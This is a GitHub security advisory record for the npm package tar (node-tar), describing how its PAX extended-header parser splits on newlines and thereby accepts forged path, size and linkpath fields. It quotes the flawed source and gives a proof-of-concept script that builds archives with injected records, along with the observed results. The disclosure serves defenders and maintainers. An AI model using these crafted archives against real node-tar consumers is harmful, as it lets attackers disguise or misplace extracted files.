{"id":"GHSA-rgjp-p5j7-w36x","summary":"node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection","details":"### Summary\nnode-tar parses POSIX pax extended headers by splitting the header body on every newline and validating each resulting line's length prefix, instead of consuming length-delimited records as the format specifies. A record whose value contains a newline (which occurs legitimately whenever an archived filename contains a newline) is mishandled two ways: the true record is dropped (the entry falls back to its truncated 100-byte header name), and any post-newline fragment that itself forms a self-valid `\u003clength\u003e key=value` line is applied as a real extended-header field. This is a cross-implementation divergence and an arbitrary PAX-field injection primitive (`path`, `size`, `linkpath`, `mode`, `uid`, `gid`, `mtime`) driven by a single attacker-controlled filename or crafted archive.\n\n### Details\n```ts\n// src/pax.ts:151-167\nconst parseKV = (str) =\u003e\n  str.replace(/\\n$/, '').split('\\n')          // \u003c- splits INSIDE length-valid record values\n     .reduce(parseKVLine, Object.create(null))\nconst parseKVLine = (set, line) =\u003e {\n  const n = parseInt(line, 10)\n  // XXX Values with \\n in them will fail this.\n  // Refactor to not be a naive line-by-line parse.\n  if (n !== Buffer.byteLength(line) + 1) return set   // record dropped when its value contained '\\n'\n  line = line.slice((n + ' ').length)\n  // ... a forged '\u003clen\u003e key=value' fragment is then ACCEPTED as a real record\n}\n```\n\nPOSIX pax records are `\u003clen\u003e key=value\\n`, where `\u003clen\u003e` counts the entire record including any newline inside the value. Splitting on `\\n` breaks a record whose value contains a newline into fragments: the leading fragment fails the `n === byteLength+1` check and is discarded, and a trailing fragment such as `24 path=forged-name.txt` passes the check and is applied. The maintainer's own in-code `XXX` comment documents the limitation. A related facet in the same parser: numeric fields are coerced with JavaScript `+v` (src/pax.ts:196, 205), so `size=0x10`, `size=1e3`, `size=1.5`, and `size=Infinity` parse only in node-tar while GNU tar and Python tarfile reject or fall back, a separate three-way numeric divergence.\n\n### PoC\nValidated on source main @ 2a22bfc and against the published npm package `tar@7.5.22`, Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.\n\n```bash\n# create files whose names embed a newline + a forged record tail, pack with a compliant packer\npython3 - \u003c\u003c'EOF'\nimport os; d='/tmp/paxnl/src'; os.makedirs(d, exist_ok=True)\nopen(os.path.join(d,'A'*95+'\\nTAIL1.txt'),'w').write('PAX-DEPENDENT\\n')          # legit newline name\nopen(os.path.join(d,'B'*95+'\\n'+'24 path=forged-name.txt'),'w').write('INJECTED\\n')  # forged path\nopen(os.path.join(d,'C'*95+'\\n'+'10 size=0'),'w').write('EIGHTBYTS')              # forged size (true 9)\nopen(os.path.join(d,'D'*95+'\\n'+'14 linkpath=a'),'w').write('X')                 # forged linkpath on a File\nEOF\ntar --format=posix -cf /tmp/paxnl/gnu.tar -C /tmp/paxnl/src .\n```\n\nObserved reading `/tmp/paxnl/gnu.tar`:\n```\nGNU tar / Python : true names, len 107-121, correct sizes, linkpath ''\nnode-tar t()     : pathlen=100 size=14                     (A: newline record dropped -\u003e truncated)\n                   pathlen=100 size=0                       (C: forged size=0, true size 9)\n                   pathlen=100 linkpath=\"a\"                 (D: forged linkpath on a plain File)\n                   pathlen=15 \"forged-name.txt\" size=9      (B: forged path applied)\nnode-tar x()     : materializes 'forged-name.txt' on disk; A/C/D under truncated names\n```\nGNU tar and Python read every file under its true (long) name with correct attributes; node-tar drops the real records and applies the forged ones. The forged `linkpath` on a plain File is itself the injection route into the path-reservation deadlock (advisory 01), and the forged `size` feeds the meta-entry desync (advisory 02).\n\n### Impact\nIntegrity via cross-implementation divergence. A single attacker-controlled filename in a directory that a victim archives with any length-compliant packer (GNU tar, bsdtar, Python tarfile), later extracted or listed by a node-tar consumer, or simply a hand-crafted archive, makes node-tar assign an arbitrary `path`, `size`, `linkpath`, `mode`, `uid`/`gid`, or `mtime` to an entry that every compliant reader sees differently. This defeats name-based and attribute-based inspection and provides an injection route into the two issues above. In default extraction mode the effect is confined to the extraction root (path sanitisation still applies); with `preservePaths` the forged path may be absolute or contain `..`. node-tar also cannot round-trip archives it writes itself when filenames contain newlines.","aliases":["CVE-2026-140235"],"modified":"2026-12-02T01:45:31.472509437Z","published":"2026-12-02T01:38:49Z","database_specific":{"cwe_ids":["CWE-20","CWE-436"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-12-02T01:38:49Z","nvd_published_at":"2026-12-01T18:17:27Z"},"references":[{"type":"WEB","url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-rgjp-p5j7-w36x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140235"},{"type":"WEB","url":"https://github.com/isaacs/node-tar/commit/f351e5b4a8916bc8c8f821d0ad926a17d26ea237"},{"type":"PACKAGE","url":"https://github.com/isaacs/node-tar"},{"type":"WEB","url":"https://github.com/isaacs/node-tar/releases/tag/v8.0.0"}],"affected":[{"package":{"name":"tar","ecosystem":"npm","purl":"pkg:npm/tar"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.5.0"},{"fixed":"8.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-rgjp-p5j7-w36x/GHSA-rgjp-p5j7-w36x.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"}]}